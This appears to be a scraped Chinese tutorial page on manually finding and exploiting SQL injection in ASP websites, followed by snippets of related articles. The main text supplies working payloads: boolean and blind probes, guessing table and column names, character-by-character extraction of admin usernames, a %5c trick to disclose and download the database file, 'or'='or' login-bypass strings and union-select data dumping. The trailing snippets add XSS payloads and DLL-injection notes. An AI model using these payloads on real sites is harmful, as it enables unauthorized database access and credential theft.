手工注入方法,方便大家测试注入点(含视频教程)

1、加入单引号 ’提交,

结果:如果出现错误提示,则该网站可能就存在注入漏洞。

2、数字型判断是否有注入; 语句:and 1=1 ;and 1=2 (经典)、‘ and ‘1‘=1(字符型)

结果:分别返回不同的页面,说明存在注入漏洞.

分析:and 的意思是“和”如果没有过滤我们的语句,and 1=1就会被代入SQL查询语句进行查询, 如果and前后的两条语句都是真的话就不会出错,但如果前后语句有一个为假的话,程序就会暴错。 也就表明程序有注入漏洞

防注入解决办法:

1>使用or 2>1 ; or 1>2来进行判断

结果:分别返回不同的页面,说明存在注入漏洞.

分析:or注入只要求前后两个语句只要有一个正确就为真,如果前后两个语句都是正确的,反而为假。 记住:or注入时,or后面的语句如果是正确的,则返回错误页面!如果是错误,则返回正确页面 ,说明存在注入点。

2> 使用xor 1=1; xor 1=2

结果:分别返回不同的页面,说明存在注入漏洞.

分析:xor 代表着异或,意思即连接的表达式仅有一个为真的时候才为真。 记住:xor注入时,xor后面的语句如果是正确的,则返回错误页面积,如果是错误,则返回正确 页面,说明存在注入点。

3>把and 1=1转换成URL编码形式后在提交 and 1=1 URL编码:%41%4E%44%20%%31%3D%31

4>使用-1;-0

分析:如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.

3、字符型判断是否有注入:

语句:‘ and ‘1‘=1;‘ and ‘1=2(经典)

结果:分别返回不同的页面,说明存在注入漏洞.

分析:加入‘ and ‘1‘=1返回正确页面,加入‘ and ‘1=2返回错误页面,说明有注入漏同。

防注入解决办法:

在URL的地址后面加上‘%2B‘(字符型)

分析:URL地址变为:news.asp?id=123‘%2B‘,返回的页面和1同;加 上‘2%2B‘asdf,URL地址变为:news.asp?id=123‘%2Basdf,返回的页面和1 不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。

搜索型判断是否有注入:

简单的判断搜索型注入漏洞存在不存在的办法是先搜索‘,如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。

说明:加入如"&"、"["、"]"、"%"、"$"、"@"等特殊字符,都可以实现,如果出现错误,说明有问题。

操作: 搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%‘and 1=1 and ‘%‘=‘和 2006%‘and 1=2 and ‘%‘=‘,存在异同的话,就是100%有洞了。关键字%‘ and 1=1 and ‘%‘=‘% 关键字%‘ and 1=2 and ‘%‘=‘% 将and 1=1 换成注入语句就可以了

判断数据库类型:

and user>0

例如:showdetail.asp?id=49 ;and user>0 如果是ACCESS数据库,那么返回的错误里一般会有"Microsoft JET Database"关键定,如果是MSSQL数 据库的话返回的错误提示里一般会含有"SQL Server"关键了.

猜表名 and exists (select * from 表名)

说明:意思与上面一样,只是用的语名不一样。

猜列名 and (select count(列名) from 表名)>0

说明:如果我们输入的列名猜解正确否反回正常页面

猜长度 and (select top 1 len(username) from admin)>0

说明:如果我们输入的最后一位数据返回错误,而错误前一位数字返回正确,说明我所猜解的长度 为正确。

猜内容 and (select top 1 asc(mid(username,1,1)) from admin)>50 ascii码1-128

说明:如果我们输入的最后一位数据返回错误,而错误前一位数字返回正确,说明我所猜解的数字正确。(可以使用折半法猜内容)

折半法:最小值与最大值差的一半,比如输入50返正确,输入100返回错误,折半后输入75。

两种常见爆库

1、%5c

2、conn.asp

%5c暴库 把二级目录中间的/换成%5c EY: otherweb ... s.asp?BigClassName=职 责范围&BigClassType=1 如果你能看到:’E:\ahttc040901 \otherweb\dz\database\iXuEr_Studio.asa’不是一 个有效的 路径。 确定路径名称拼写是否正确, 以及是否 连接到文件存放的服务器。 这样的就是数据库了。下载时用FLASHGET换成.MDB格式的就行 .

conn.asp暴库 这个也是比较老的漏洞,利用价值不大

常见的:‘or‘=‘or‘万能密码登陆

’or’=’or’这是一个可以连接SQL的语名句.可以直接进入后台。我收集了一下。类似的还有 : ’or’’=’ " or "a"="a ’) or (’a’=’a ") or ("a"="a or 1=1-- ’ or ’ a’=’a 一个很老的利用方法,主要用于一些比较老的网站。

联合查询注入(union查询)

操作步骤:

1>在正常语句后台加入 and 1=2 union select * form 表名,其中*号代表字段数量,从1一直追加 (and 1=2 union select 1,2,3,4 form 表名)如果字段数正确就会有暴错

2>在页面显示数字的地方用真实得到的字段名代替,如:username,password.

3>在页面字段值处暴出真实的数据库字段值。

视频教程http://edu.aqniu.com/course/83

交流QQ群

131068813

时间: 2024-11-03 03:44:27

手工注入方法,方便大家测试注入点(含视频教程)的相关文章

MySQL手工注入方法

MySQL手工注入方法 原文地址:https://www.cnblogs.com/blogs-1024/p/11141285.html

Spring2.5学习2.1_Spring两种依赖注入方法

使用Spring可以通过控制反转把依赖对象交给Spring管理,并把依赖对象通过外部容器动态的注入到组件内部. 下面将演示如何将依赖对象注入到组件中. 首先我们新建一个PersonDaoBean,然后将其注入到PersonServiceBean中. PersonDaoBean.Java package xjj.dao.impl; import xjj.dao.PersonDao; public class PersonDaoBean implements PersonDao { @Overrid

Dll注入方法之二

有了第一种方法,我们不难举一反三,由于原理是只需要我们的执行函数被写入到目标进程,所有相关的变量也在目标函数里,那么我们的函数就能被正确执行(前提是没有互相调用我们注入的函数,否则需要做地址处理.这也是为什么整个可执行文件注入时,要做很多重定位).这里,我们进一步尝试,将LoadLibrary放在一个函数里,在同一个函数里,我们再调用一个MessageBox(这里只是一个测试,以后你可以调用任何你的函数,但必须要对地址进行处理). 步骤一和步骤二:请参考Dll注入方法之一. 步骤三:书写需要被注

java的guice3.0依赖注入方法

java的guice3.0依赖注入方法,这里采用的是官方文档的第一种注入方法. jar包下载地址: https://github.com/google/guice/releases/download/3.0/guice-3.0.zip 工程目录结构: 接口及相应的代码模块 /** * */ package com.test.func; /** * @filename speaking.java * @author code by jianghuiwen * @mail [email protec

xss注入方法及验证方法

注:本文描述的是一般情况的xss注入方法及验证方法,并无覆盖所有xss情况, 步骤1:在任一输入框中输入以下注入字符 >"'><script>alert(XSS)</script> >"'><img src="javascript:alert(123456)"> 1234<%00script>alert("123456")</script> &{alert

ASM(四) 利用Method 组件动态注入方法逻辑

这篇继续结合例子来深入了解下Method组件动态变更方法字节码的实现.通过前面一篇,知道ClassVisitor 的visitMethod()方法可以返回一个MethodVisitor的实例.那么我们也基本可以知道,同ClassVisitor改变类成员一样,MethodVIsistor如果需要改变方法成员,注入逻辑,也可以通过继承MethodVisitor,来编写一个MethodXXXAdapter来实现对于方法逻辑的注入.通过下面的两个例子来介绍下无状态注入和有状态注入方法逻辑的实现.例子主要

远程线程注入方法CreateRemoteThread

最近在整理学习Windows注入方面的知识,这个远程注入前面早写过,现在看看人家博客的理解整理,整理, 需要源码的可以到我的github上下载. 链接是  https://github.com/Arsense/WindowsCode 首先先来说说什么是注入,为什么要注入 0x00 Baise 注入就是把自己的Dll注入到人家的代码中,被注入的DLL拥有目标进程内存的访问权限,所以我们可以通过该 向某个进程注入DLL时的方法主要有以下三种: 创建远程线程(CreateRemoteThread()

最全防止sql注入方法

最全防止sql注入方法 发布时间: 2012-04-5 浏览次数:19361 分类: PHP教程 (1)mysql_real_escape_string -- 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 使用方法如下: $sql = "select count(*) as ctr from users where username ='".mysql_real_escape_string($username)."' and password='&q

防止sql注入方法 如何防止java中将MySQL的数据库验证密码加上 &#39; or &#39;1&#39;= &#39;1 就可以出现万能密码 的PreparedStatement

package com.swift; import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; public class LoginJDBC$PreparedStatement { public static void main(String[] args